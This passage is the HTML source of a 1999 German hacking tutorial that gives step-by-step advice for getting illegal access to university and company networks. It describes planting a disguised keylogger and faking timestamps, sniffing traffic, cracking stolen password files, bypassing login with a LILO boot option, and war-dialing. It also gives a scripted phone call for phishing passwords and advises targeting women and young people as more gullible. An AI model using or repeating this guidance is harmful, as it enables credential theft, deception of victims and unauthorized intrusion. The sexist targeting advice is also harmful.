h2h.htm 124 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999100010011002100310041005100610071008100910101011101210131014101510161017101810191020102110221023102410251026102710281029103010311032103310341035103610371038103910401041104210431044104510461047104810491050105110521053105410551056105710581059106010611062106310641065106610671068106910701071107210731074107510761077107810791080108110821083108410851086108710881089109010911092109310941095109610971098109911001101110211031104110511061107110811091110111111121113111411151116111711181119112011211122112311241125112611271128112911301131113211331134113511361137113811391140114111421143114411451146114711481149115011511152115311541155115611571158115911601161116211631164116511661167116811691170117111721173117411751176117711781179118011811182118311841185118611871188118911901191119211931194119511961197119811991200120112021203120412051206120712081209121012111212121312141215121612171218121912201221122212231224122512261227122812291230123112321233123412351236123712381239124012411242124312441245124612471248124912501251125212531254125512561257125812591260126112621263126412651266126712681269127012711272127312741275127612771278127912801281128212831284128512861287128812891290129112921293129412951296129712981299130013011302130313041305130613071308130913101311131213131314131513161317131813191320132113221323132413251326132713281329133013311332133313341335133613371338133913401341134213431344134513461347134813491350135113521353135413551356135713581359136013611362136313641365136613671368136913701371137213731374137513761377137813791380138113821383138413851386138713881389139013911392139313941395139613971398139914001401140214031404140514061407140814091410141114121413141414151416141714181419142014211422142314241425142614271428142914301431143214331434143514361437143814391440144114421443144414451446144714481449145014511452145314541455145614571458145914601461146214631464146514661467146814691470147114721473147414751476147714781479148014811482148314841485148614871488148914901491149214931494149514961497149814991500150115021503150415051506150715081509151015111512151315141515151615171518151915201521152215231524152515261527152815291530153115321533153415351536153715381539154015411542154315441545154615471548154915501551155215531554155515561557155815591560156115621563156415651566156715681569157015711572157315741575157615771578157915801581158215831584158515861587158815891590159115921593159415951596159715981599160016011602160316041605160616071608160916101611161216131614161516161617161816191620162116221623162416251626162716281629163016311632163316341635163616371638163916401641164216431644164516461647164816491650165116521653165416551656165716581659166016611662166316641665166616671668166916701671167216731674167516761677167816791680168116821683168416851686168716881689169016911692169316941695169616971698169917001701170217031704170517061707170817091710171117121713171417151716171717181719172017211722172317241725172617271728172917301731173217331734173517361737173817391740174117421743174417451746174717481749175017511752175317541755175617571758175917601761176217631764176517661767176817691770177117721773177417751776177717781779178017811782178317841785178617871788178917901791179217931794179517961797179817991800180118021803180418051806180718081809181018111812181318141815181618171818181918201821182218231824182518261827182818291830183118321833183418351836183718381839184018411842184318441845184618471848184918501851185218531854185518561857185818591860186118621863186418651866186718681869187018711872187318741875187618771878187918801881188218831884188518861887188818891890189118921893189418951896189718981899190019011902190319041905190619071908190919101911191219131914191519161917191819191920192119221923192419251926192719281929193019311932193319341935193619371938193919401941194219431944194519461947194819491950195119521953195419551956195719581959196019611962196319641965196619671968196919701971197219731974197519761977197819791980198119821983198419851986198719881989199019911992199319941995199619971998199920002001200220032004200520062007200820092010201120122013201420152016201720182019202020212022202320242025202620272028202920302031203220332034203520362037203820392040204120422043204420452046204720482049205020512052205320542055205620572058205920602061206220632064206520662067206820692070207120722073207420752076207720782079208020812082208320842085208620872088208920902091209220932094209520962097209820992100210121022103210421052106210721082109211021112112211321142115211621172118211921202121212221232124212521262127212821292130213121322133213421352136213721382139214021412142214321442145214621472148214921502151215221532154215521562157215821592160216121622163216421652166216721682169217021712172217321742175217621772178217921802181218221832184218521862187218821892190219121922193219421952196219721982199220022012202220322042205220622072208220922102211221222132214221522162217221822192220222122222223222422252226222722282229223022312232223322342235223622372238223922402241224222432244224522462247224822492250225122522253225422552256225722582259226022612262226322642265226622672268226922702271227222732274227522762277227822792280228122822283228422852286228722882289229022912292229322942295229622972298229923002301230223032304230523062307230823092310231123122313231423152316231723182319232023212322232323242325232623272328232923302331
  1. <!doctype html public "-//w3c//dtd html 4.0 transitional//en">
  2. <html>
  3. <head>
  4. <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
  5. <meta name="GENERATOR" content="Mozilla/4.51 [en] (X11; I; Linux 2.2.7 i686) [Netscape]">
  6. <title>Human to Hacker Version 1.1</title>
  7. </head>
  8. <body bgcolor="#FFFFFF">
  9. <center>
  10. <h1>
  11. <font color="#FF0000">Vom Menschen zum Unix-Hacker</font></h1></center>
  12. <center>
  13. <h4>
  14. Author: TICK / THC</h4></center>
  15. <center>
  16. <h4>
  17. Last Update: 1999-07-04</h4></center>
  18. <center>
  19. <h4>
  20. <a href="mailto:T_I_C_K@gmx.net">Email: T_I_C_K@gmx.net</a></h4></center>
  21. <center>
  22. <h4>
  23. <img SRC="pic1.gif" ></h4></center>
  24. <p><br><a NAME="inhalt"></a>
  25. <h2>
  26. <font color="#990099">Inhaltsverzeichnis</font></h2>
  27. <ol>
  28. <li>
  29. <img SRC="godown.gif" height=10 width=14> <a href="#a0">Vorwort</a></li>
  30. <li>
  31. <img SRC="godown.gif" > <a href="#a1">Voraussetzungen</a></li>
  32. <li>
  33. <img SRC="godown.gif" > <a href="#a2">Wie bekomme ich (illegalen) Zugang
  34. zum Internet?</a></li>
  35. <li>
  36. <img SRC="godown.gif" > <a href="#a3">Die Literatur:</a></li>
  37. <br>Der unangenehme Teil
  38. <br>oder:
  39. <br>Der Schluessel zum Erfolg
  40. <li>
  41. <img SRC="godown.gif" > <a href="#a4">Wie komme ich weiter?</a></li>
  42. <li>
  43. <img SRC="godown.gif" > <a href="#a5">Wie rette ich meinen Arsch?</a></li>
  44. <li>
  45. <img SRC="godown.gif" > <a href="#a6">Ein paar Gedanken zum Sein eines
  46. Hackers</a></li>
  47. <li>
  48. <img SRC="godown.gif" > <a href="#a7">Yeah, time to become 31337.</a></li>
  49. <li>
  50. <img SRC="godown.gif" height=10 width=14> <a href="#a8">Ein Blick ueber
  51. die Schulter</a></li>
  52. <li>
  53. <img SRC="godown.gif" height=10 width=14> <a href="#a9">Persoenliche Sicherheit</a></li>
  54. <li>
  55. <img SRC="godown.gif" height=10 width=14> <a href="#a10">Letzte Worte</a></li>
  56. <li>
  57. <img SRC="godown.gif" height=10 width=14> <a href="#a11">Wichtige Links</a></li>
  58. <li>
  59. <a href="tools.html">Tools</a></li>
  60. </ol>
  61. <h3>
  62. <hr WIDTH="100%"></h3>
  63. <a NAME="a0"></a>
  64. <h3>
  65. <font color="#993399">Vorwort</font></h3>
  66. Auch wenn es fuer einen Anfaenger hart ist, aber ich werde gewisse Dinge
  67. wie NIS, Passwordcracker, Packetsniffer, et cetera nicht erklaeren; ich
  68. setze sie als bekannt voraus. Wenn du mit diesen Dingen arbeitest, dann
  69. wirst du sie verstehen, und in den Buechern/Docs werden sie haeufig auch
  70. erklaert.
  71. <p>Zeilen, die mit dem Groesser-als Zeichen '>' beginnen sind Eingaben
  72. (von dir).
  73. <br>Zeilen, die mit dem Kleiner-als Zeichen '&lt;' beginnen, stellen Ausgaben
  74. (z.B. von einem Programm) dar.
  75. <br>Befehle werden <b>fett</b> gedruckt, Captures <font color="#FF0000">rot</font>
  76. und Filenamen <font color="#33FF33">gruen</font> indiziert.
  77. <p>Bitte sendet alle Verbesserungen, Erweiterungen, Anregungen und <u>intelligenten</u>
  78. Fragen
  79. <br>an meine E-mail Adresse.
  80. <p>Dieses Paper soll <u>keine</u> Aufforderung zum Hacken sein!
  81. <p>For non-german guys:
  82. <br>Sorry, but I'm too lazy to translate this text to english.
  83. <br>But maybe sometimes I (or someone else) will.
  84. <br>&nbsp;
  85. <p><a NAME="a1"></a>
  86. <h3>
  87. <font color="#990099">Voraussetzungen</font></h3>
  88. Ja gut, die Voraussetzungen um Hacker zu werden.... also, das Wichtigste
  89. ist ein eiserner Wille; du musst Hacker werden wollen, mit jeder Zelle
  90. deines Koerpers ;) - aber nicht verkrampfen, denn dann wird der Fluss der
  91. Phantasie blockiert ;). Ein IQ >= 100 waer' auch ganz sinnvoll... hm, aja,
  92. 'n Computer und 'n Modem... sind deine Hauptwerkzeuge. Du solltest in C
  93. programmieren koennen, da auf (fast) jedem Unix-System ein C- Compiler
  94. installiert ist und der groesste Teil der Sourcecodes in C geschrieben
  95. ist. Ich werde im Verlauf dieses Artikels ein Buch vorstellen, das meiner
  96. Meinung nach eine sehr gute und umfassende Grundlage fuer's Programmieren
  97. in C bietet, falls du schon eine Hochsprache beherrschst und dir einiges
  98. zutraust, dann reicht es, ein Buch ueber Unix Systemprog. zu lesen.
  99. <br>Desweiteren ist es sinnvoll ein Unix auf deinem Rechner zu installieren,
  100. z.B. Linux (fuer Anfaenger wuerde ich SuSE Linux empfehlen, es ist gut
  101. dokumentiert und zudem einfach zu installieren) oder FreeBSD (ist im Gegensatz
  102. zu Linux ein echtes Unix, da es von den urspruenglichen Quellen abstammt).
  103. Es gibt noch weitere Unixes fuer x86er wie BSDI, OpenBSD (sehr sicher und
  104. user-unfreundlich... ein echtes Maenner-Betriebssystem *G*), Solaris x86,
  105. SCO etc. aber das braucht dich ersteinmal nicht zu interessieren. ;-)
  106. <p>Bis du ein erfahrener Hacker bist koennen selbst bei grossem Engagement
  107. einige Jahre vergehen.
  108. <br>&nbsp;
  109. <p><a NAME="a2"></a>
  110. <h3>
  111. <font color="#990099">Wie bekomme ich (illegalen) Zugang zum Internet?</font></h3>
  112. Also mir kommen jetzt mehrere Moeglichkeiten in den Sinn, ich werde mal
  113. mit der Methode beginnen, die ich auch verwendet habe - sozusagen die,
  114. die ihren Praxistest schon bestanden hat.
  115. <p>Such dir eine nette Uni (Internet Provider, Firma mit Internet-Access)
  116. in deiner Naehe aus und mache dort ein Praktikum, einen Ferienjob oder
  117. einen Nebenjob.
  118. <br>Waehrend deiner Taetigkeit immer schoen die Augen nach Rechnern offenhalten,
  119. die ans Uni-Netz angeschlossen sind, die von den Studenten genutzt werden
  120. und allgemein zugaenglich sind. Haeufig steht irgendwo ein alter DOS- PC
  121. rum, oder es existieren PC-Pools. Such dir einen Rechner aus und sieh'
  122. dir seinen Aufbau genau an (<font color="#33FF33">autoexec.bat </font>&amp;
  123. <font color="#33FF33">config.sys</font>...).
  124. Beobachte wie er benutzt wird (laeuft er staendig, wird er nachts ausgeschaltet).
  125. Lass dich mal ganz
  126. <font color="#000000">plump</font> von 'nem Studenten
  127. in die Benutzung des Rechners einweisen. Dann benutze diesen Rechner fuer
  128. anonymous <i>FTP</i>,
  129. <i>HTTP</i> und den ganzen Kram, der kein Passwort
  130. erfordert, und wenn sich die Gelegenheit mal bietet, dann kopiere dir die
  131. <font color="#33FF33">autoexec.bat</font><font color="#000000">,</font><font color="#33FF33">config.sys</font>
  132. und den Stammverzeichnisbaum (<b>tree</b>) auf 'ne Diskette.
  133. <br>Kommen wir jetzt zum spannenden Teil. Es geht darum ein <i>TSR</i>-Programm
  134. zu installieren, welches die Tastatureingaben in eine Datei protokolliert
  135. . Um dieses <i>TSR</i>-Prog. so gut wie moeglich zu verstecken tarnt man
  136. es als ein anderes Prog. und fuegt einen entsprechenden Eintrag in die
  137. <font color="#33FF33">autoexec.bat</font>
  138. ein. Man kann z.B. den Mouse-Treiber durch einer Batch-Datei ersetzen,
  139. die erst unser <i>TSR</i> und dann den Mouse-Treiber aufruft o. ae.. Wenn
  140. du fit in ASM-Programmierung bist, dann kannst du das <i>TSR</i> vor
  141. <b>mem</b>
  142. verstecken (ich glaube, indem man irgendwie 'ne Memorygrenze veraendert
  143. - keine Ahnung).
  144. <br>Unter Umstaenden muss man das <i>TSR</i> mit einem HEX-Editor seinen
  145. Anforderungen anpassen. Du solltest bedenken, dass die Protokolldatei den
  146. ganzen Plattenplatz aufzehren koennte, also taeglich die Datei auf Diskette
  147. bringen und von der Platte entfernen. Desweiteren muessen die Timestamps
  148. angepasst werden - ja, Paranoia ist die Lebensversicherung eines Hackers.
  149. <br>So, um die ganze Angelegenheit zu beschleunigen tippe jeweils eine
  150. Batch-Datei fuer die Installation des <i>TSR</i>s, fuer das <b>move</b>'n
  151. der Protokolldatei und zum Deinstallieren des <i>TSR</i>s und zur Wiederherstellung
  152. des Orginalzustandes (Timestamps nicht vergessen). Teste deine Strategie
  153. und deine Batch-Dateien auf deinem Rechner, in der Praxis darf es keine
  154. Fehler mehr geben, alles muss schnell und reibungslos verlaufen.
  155. <p><u>Interpretation der Protokolldatei:</u>
  156. <br>Wenn du z.B. folgendes siehst:
  157. <br><font color="#FF0000">ftp blah.am.arsch.de</font>
  158. <br><font color="#FF0000">franz</font>
  159. <br><font color="#FF0000">schwanz</font>
  160. <br>... dann existiert auf dem Rechner "blah.am.arsch.de" ein Account mit
  161. dem Login "franz" und den Passwort "schwanz" - vorausgesetzt, dass die
  162. Eingaben richtig waren :).
  163. <br>Wichtig sind fuer dich erstmal die Rechner im Uni-Netz.
  164. <p>Wenn du ein paar Accounts gesammlt hast, musst du die Telefonnummer
  165. des Modems rausfinden, die dich mit dem Netz der Uni verbindet.
  166. <br>Die Nummer bekommst du ganz einfach: Ruf' bei der Uni an, gib dich
  167. als Student aus und frag' nach der Nummer - du musst sicher und ruhig sprechen.
  168. Haeufig steht die Nummer auch in 'nem Infoblatt vom Rechenzentrum (RZ)
  169. oder auf deren Web-Site.
  170. <br>Die Bequemlichkeit beim Verwalten und Verwenden von Account Informationen
  171. kommt dir beim Einloggen zugute, undzwar ist es (meistens) voellig egal
  172. auf welchem Rechner im Uni-Netz du landest, denn viele User verwenden das
  173. selbe Passwort auf mehreren Rechnern (auch in anderen Domains) oder es
  174. wird <i>NIS</i> (oder <i>NIS</i>+, <i>rdist</i>, <i>DCE</i>, <i>CORBA</i>
  175. etc) benutzt
  176. <br>So, wenn du in dem System bist, dann mache dich damit vertraut (in
  177. Uni-Systemen faellt man nicht so schnell auf).
  178. <br>Von der Uni aus, kannst du dann am Besten noch Domains hacken, die
  179. in deinem City-Tarif Bereich liegen um deine Telefonkosten zu verringern
  180. - auch wenn die gehackte Uni im City-Tarif Bereich ist, denn je mehr Einwahlpunkte
  181. du zum Internet hast um so besser.
  182. <br>Du kannst deine Telefongebueren auch sparen, indem du 'ne <i>PBX</i>
  183. hackst (im 0130/0800/0180*- Bereich oder von lokalen Firmen) oder durch
  184. <i>Blueboxing</i>
  185. - ist mir persoenlich zu gefaehrlich und zu auffaellig, da die Telekom
  186. gerne Phreaker kennen lernen will und <i>PBXs</i> meistens gute Intrusion
  187. Detection Systems besitzen. ;)
  188. <br>Bei Firmen ist die ganze Angelegenheit etwas gefaehrlicher als bei
  189. Universitaeten oder FHs.
  190. <p>Desweiteren kannst du natuerlich auch einfach in den Computer-Systemen
  191. Trojan-Horses einbringen oder ganz simpel den Leuten ueber die Schulter
  192. sehen, wenn sie sich in die Rechner einloggen.
  193. <p>Die "Experten" unter euch koennen einen <i>Vampire-Tap</i> oder einen
  194. Laptop mit Sniffer in deren Netz einbringen und so einfach die Account-Informationen
  195. aufzeichnen.
  196. <br>Der Vorteil des <i>Vampire-Taps</i> ist, dass es nicht durch Messgeraete
  197. entdeckt werden kann, die die Entfernung bis zum naechsten Ende/Bruch im
  198. Netzkabel messen.
  199. <p>Unter Windows (3.11) kannst du den Macrorecorder zur Aufzeichnug der
  200. Tastatureingaben verwenden... is' aber nicht so toll... mach deine eigenen
  201. Erfahrungen, es erfordert auf jeden Fall mehr Aufmerksamkeit von dir. Eine
  202. bessere Loesung ist da schon eine veraenderte <font color="#33FF33">WINSOCK.DLL</font>
  203. zu installieren, die alle Daten, die uebers Netz gehen aufzeichnet.
  204. <p>Natuerlich kannst du auch einen auf DOS, Win9? oder NT basierenden Sniffer
  205. verwenden.
  206. <p>Falls du schon einen Unix-/NT-Account hast, dann lad' dir einfach die
  207. Passwortdatei auf deinen Rechner und cracke die Passwoerter.
  208. <p>Oder ein temporaerer Freund mit Internet-Anschluss hilft dir weiter.
  209. ;)
  210. <p>Wenn du physikalischen Zugriff auf einen Linux Rechner hast, der mit
  211. <i>LILO</i>
  212. gebootet wird,
  213. <br>dann tippe am <i>LILO</i>-Prompt hinter dem Bootlabel fuer Linux "init=/bin/bash
  214. rw" ein und der Rechner bootet im Single-User Mode und gibt dir eine root
  215. Shell ohne Passwortabfrage. Andernfalls kannst du den Rechner immer noch
  216. mit einer Bootdiskette hochfahren.
  217. <p>In der nach-Telekom-Monopol und Internet Aera bieten viele Telekomunikations-Firmen
  218. Internetzugaenge an, die einfach durch die Angabe der eigenen Bankverbindung
  219. o. ae. benutzt werden koennen. Am Besten ihr werft 'nen Blick in den <a href="salpeter.html">Artikel</a>
  220. von Salpeter (Kommentare hierzu bitte nicht an mich).
  221. <p>Und nun noch ein old-school Weg. Er erfordert weniger den technischen
  222. sondern mehr den physischen und mentalen Aufwand.
  223. <br>Such' dir ein/e Institut/Firma mit Internetanschluss (in deiner Stadt)
  224. aus. Jetzt musst du erstmal jedemenge Infos ueber dein Ziel sammeln, egal
  225. wie unwichtig sie erscheinen. Du brauchst z.B. den Namen des Admins und
  226. der User, Beziehungen zu anderen Instituten/Firmen. Um diese Dinge in Erfahrung
  227. zu bringen kannst du den Muell der Firma durchsuchen (sog. <i>Dumpster
  228. Diving</i>) oder dich mal 'n bisschen umhoeren. Jetzt nur noch die Modemnummer
  229. herausfinden:
  230. <br>Entweder einfach anrufen und als User ausgeben (wenn du den Namen eines
  231. Kunden hast, dann benutze ihn auch), der die Nummer vertroedelt hat, ausgeben
  232. oder den Telefonnummernbereich deines Ziels durchscannen.
  233. <br>Das Scannen geht wie folgt:
  234. <br>Du waehlst eine Nummer und horchst ob ein Modem dranhaengt - diese
  235. Aufgabe kann auch ein Prog. uebernehmen. Viele Firmen belegen mit ihren
  236. Tk-Anlagen (man koennte natuerlich auch die TK-Anlage zu seinem Vorteil
  237. manipulieren, aber dieses Thema soll nicht Bestandteil dieses Papers sein
  238. und wuerde auch viel zu weit fuehren) einen bestimmten Nummernbereich,
  239. z.B. eine 6stellige Nummer wobei die ersten 3 Zahlen statisch sind (z.B.
  240. 911) und die letzten 3 Zahlen variieren (0 bis 999; wobei 0 meistens die
  241. Telefonzentrale, Pforte, etc ist). Nun waehlst du alle Nr. von 911-0 bis
  242. 911-999 bis du ein Modem gefunden hast; falls du ein Anrufbeantworter entdeckst,
  243. dann versuche ihn zu hacken (weitere Infos).
  244. <br>Du kannst den Scan-Bereich einschraenken indem du dir die Durchwahlnummer
  245. des RZs, DVZs (Datenverarb. Zentrum) - oder wie sonst die Abteilung fuer
  246. die Rechnerverwaltung heisst - geben laesst und dann von dort startest
  247. (Bsp.: Durchwahl: 345, dann faengst du bei 911-300 an).
  248. <br>So jetzt Accounts besorgen.
  249. <br>Rufe einen User an - dabei solltest du folgendes beachten:
  250. <ol>
  251. <li>
  252. suche dir am Besten nur Frauen</li>
  253. <br>oder Jugendliche aus, da diese Personen leichtglaeubiger und techn.
  254. weniger versiert sind.
  255. <br>(<u>kein</u> Sexismus, reine Erfahrung :) )
  256. <li>
  257. keine direkten Mitarbeiter der Firma</li>
  258. <li>
  259. abends anrufen (zw. 19.00 und 21.00)</li>
  260. </ol>
  261. ... so, nehmen wir mal an, dass der Admin der Firma HAQ_ME Mark Abene und
  262. der User Kathrin Mitnick heisst und gehen wir davon aus, dass du den Usernamen
  263. kennst, dann koennte ein Gespraech folgendermassen ablaufen:
  264. <pre>MA:&nbsp;&nbsp;&nbsp;&nbsp; Guten Abend, hier spricht Mark Abene, ich bin der Computer-Administrator
  265. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; von HAQ_ME. Koennte ich wohl bitte Kathrin Mitnick sprechen?
  266. KM:&nbsp;&nbsp;&nbsp;&nbsp; Ja, am Apparat.
  267. MA:&nbsp;&nbsp;&nbsp;&nbsp; Oh gut, undzwar folgendes, wir hatten Gestern auf unserem Internet-Server
  268. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; einen Gang-Bang und uns sind einige Daten dabei verloren gegangen, darunter
  269. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; auch die Userdaten...
  270. KM:&nbsp;&nbsp;&nbsp;&nbsp; Oh Gott, wie schrecklich.
  271. MA:&nbsp;&nbsp;&nbsp;&nbsp; ... ja, ja, und ich hab' die Aufgabe die Daten von&nbsp;
  272. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unseren Backupbaendern zu restaurieren und die User-Datenbank wieder
  273. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; neu einzurichten.
  274. KM:&nbsp;&nbsp;&nbsp;&nbsp; Aha...
  275. MA:&nbsp;&nbsp;&nbsp;&nbsp; Um meine Aufgabe zu komplettieren und ihnen wieder die einwandfreie
  276. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Benutzung ihres Internetzugangs zu gewaehrleisten muesste ich wissen
  277. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ob sie ihren alten Usernamen, kathrin, wieder verwenden wollen.
  278. KM:&nbsp;&nbsp;&nbsp;&nbsp; Oh ja, natuerlich.
  279. MA:&nbsp;&nbsp;&nbsp;&nbsp; Ok,... und wie lautete ihr Passwort?
  280. KM:&nbsp;&nbsp;&nbsp;&nbsp; Was!? Mein Passwort, warum haben sie davon keine Sicherungskopien
  281. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; angefertigt?
  282. MA:&nbsp;&nbsp;&nbsp;&nbsp; Oh, es ist schoen so sicherheitsbewusste User zu haben, aber leider
  283. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; selten.
  284. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Aufgrund unser hohen Sicherheitsansprueche wird von der User-
  285. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Datenbank keine Kopie angefertig... stellen sie sich mal vor, dass
  286. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; die Backupbaender gestohlen werden.
  287. KM:&nbsp;&nbsp;&nbsp;&nbsp; Oh ja, sie haben recht. Also gut mein Passwort war "nirhtak".
  288. MA:&nbsp;&nbsp;&nbsp;&nbsp; Ok, ... dankesehr.
  289. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Aufwiederhoeren.
  290. KM:&nbsp;&nbsp;&nbsp;&nbsp; Tschuess.</pre>
  291. Viel geredet fuer nur ein einziges Wort, aber es hat sich gelohnt. Du musst
  292. jederzeit ernst und ruhig klingen. Dieses Gerede ist sog. <i>Social Engeneering</i>.
  293. <br>Sollte es, aus welchen Gruenden auch immer, nicht klappen, dann kannst
  294. du auch ein Prog. verwenden, das das Passwort raet. Vielleicht funktionieren
  295. auch sog. Default-Accounts (z.B. Login: guest &amp; Password: guest).
  296. <br>&nbsp;
  297. <p><a NAME="a3"></a>
  298. <h3>
  299. <font color="#990099">Die Literatur</font></h3>
  300. Nachfolgend findest du eine kleine Tabelle mit Buechern, die du lesen solltest.
  301. <br>&nbsp;
  302. <br>&nbsp;
  303. <center><table BORDER COLS=4 WIDTH="100%" NOSAVE >
  304. <tr>
  305. <td>
  306. <center><b>Autor&nbsp;</b></center>
  307. </td>
  308. <td>
  309. <center><b>Titel</b></center>
  310. </td>
  311. <td>
  312. <center><b>Verlag</b></center>
  313. </td>
  314. <td>
  315. <center><b>Kommentar</b></center>
  316. </td>
  317. </tr>
  318. <tr>
  319. <td>Gerhard Willms</td>
  320. <td>Das C-Grundlagen Buch</td>
  321. <td>Data Becker</td>
  322. <td>Das Fundament der C-Programmierung&nbsp;</td>
  323. </tr>
  324. <tr>
  325. <td>Nemeth, Snyder, Seebass, Hein</td>
  326. <td>Unix Systemadministration&nbsp;
  327. <br>Handbook&nbsp;</td>
  328. <td>Prentice Hall</td>
  329. <td>Meiner Meinung nach das beste Buch fuer Unix-&nbsp;
  330. <br>Systemadministration&nbsp;
  331. <br>(eine dt. Auflage ist auch erhaeltlich)&nbsp;</td>
  332. </tr>
  333. <tr>
  334. <td>W. Richard Stevens</td>
  335. <td>Programmierung in der Unix-Umgebung</td>
  336. <td>Addison-Wesley</td>
  337. <td>Mal wieder ein perfektes Werk.&nbsp;
  338. <br>Stevens schreibt die besten Buecher fuer Unix/Internet&nbsp;
  339. <br>Programmierung&nbsp;</td>
  340. </tr>
  341. <tr>
  342. <td>W. Richard Stevens</td>
  343. <td>Programmieren von Unix-Netzen</td>
  344. <td>Prentice Hall / Hanser</td>
  345. <td>2te Auflage</td>
  346. </tr>
  347. <tr>
  348. <td>W. Richard Stevens</td>
  349. <td>TCP/IP Illustrated Vol. 1/2/3</td>
  350. <td>Addison-Wesley</td>
  351. <td>Infos ueber das TCP/IP Protokol und dessen Implementierung&nbsp;
  352. <br>sehr wichtig</td>
  353. </tr>
  354. <tr>
  355. <td>Garfinkel und Spafford</td>
  356. <td>Practical Unix &amp; Internet Security</td>
  357. <td>O'Reilley</td>
  358. <td>Das beste Buch in Sachen Unix- &amp; Internet-&nbsp;
  359. <br>Sicherheit</td>
  360. </tr>
  361. <tr>
  362. <td>Chapman und Zwicky</td>
  363. <td>Einrichten von Internet-&nbsp;
  364. <br>Firewalls</td>
  365. <td>O'Reilley</td>
  366. <td>beschreibt den Aufbau von Firewalls&nbsp;
  367. <br>leider nicht uptodate aber trotzdem sehr gut</td>
  368. </tr>
  369. <tr>
  370. <td>Cheswick und Bellovin</td>
  371. <td>Firewalls und Sicherheit im Internet</td>
  372. <td>Addison-Wesley</td>
  373. <td>Ebenfalls Firewalls-&nbsp;
  374. <br>aufbau, aber etwas theoretischer&nbsp;
  375. <br>und zeigt uebersichtlich moegliche Schwaechen auf.&nbsp;</td>
  376. </tr>
  377. <tr>
  378. <td>Bruce Schneier</td>
  379. <td>Angewandte Kryptographie</td>
  380. <td>Addison-Wesley</td>
  381. <td>Bruce Schneier hat bei dem Buch ganze Arbeit geleistet. Es ist sehr
  382. gut zu lesen und enthaelt viele Informationen</td>
  383. </tr>
  384. <tr>
  385. <td>Electronic Frontier Foundation</td>
  386. <td>Cracking DES</td>
  387. <td>O'Reilley</td>
  388. <td></td>
  389. </tr>
  390. <tr>
  391. <td></td>
  392. <td>Linux-Kernel-Programmierung</td>
  393. <td>Addison-Wesley</td>
  394. <td>Wichtige Infos ueber den Linux-Kernel werden hier leicht erklaert.
  395. <br>Ganz nuetzlich, wenn du mal die Linux-Firewall evaluieren willst. ;)</td>
  396. </tr>
  397. </table></center>
  398. <p>Na? 'Ne Menge Papier. Aber es lohnt sich wirklich den ganzen Kram zu
  399. lesen, glaub mir. Es gibt auch einige wenige gute Docs von Admins und Hackern
  400. - sie ersetzen aber nicht ein gutes Buch.
  401. <br>Du solltest auch die Security-Papers lesen, die im COAST-Archiv oder
  402. bei RootShell liegen... und die USENIX-Veroeffentlichungen nicht zu vergessen.
  403. <br>&nbsp;
  404. <p><a NAME="a4"></a>
  405. <h3>
  406. <font color="#990099">Wie komme ich weiter?</font></h3>
  407. Du solltest dir einen legalen Internet-Zugang besorgen.
  408. <br>Anschliessend schreibst du dich in Unix- &amp; Internet-Security&nbsp;
  409. Mailinglisten ein. Hier werden Hinweise auf Bugs in Programmen und Diensten
  410. gegeben und zusaetzlich auch noch kleine C-Programme oder Shell/Perl-Skripte
  411. mitgeliefert, die diese Bugs ausnutzen.
  412. <br>Trotz dieser Bequemlichkeit solltest du die old-school Methoden wie
  413. Trojan- Horses, etc nicht vergessen bzw. selbst dein Gehirn benutzen.
  414. <br>&nbsp;
  415. <center><table BORDER NOSAVE >
  416. <tr NOSAVE>
  417. <th NOSAVE>Adresse&nbsp;</th>
  418. <th>Subject&nbsp;</th>
  419. <th>Body&nbsp;</th>
  420. </tr>
  421. <tr>
  422. <td>&nbsp;<a href="mailto:best-of-security-request@suburbia.net">best-of-security-request@suburbia.net</a></td>
  423. <td></td>
  424. <td>subscribe best-of-security&nbsp;</td>
  425. </tr>
  426. <tr>
  427. <td>&nbsp;<a href="mailto:listserv@netspace.org">listserv@netspace.org</a></td>
  428. <td></td>
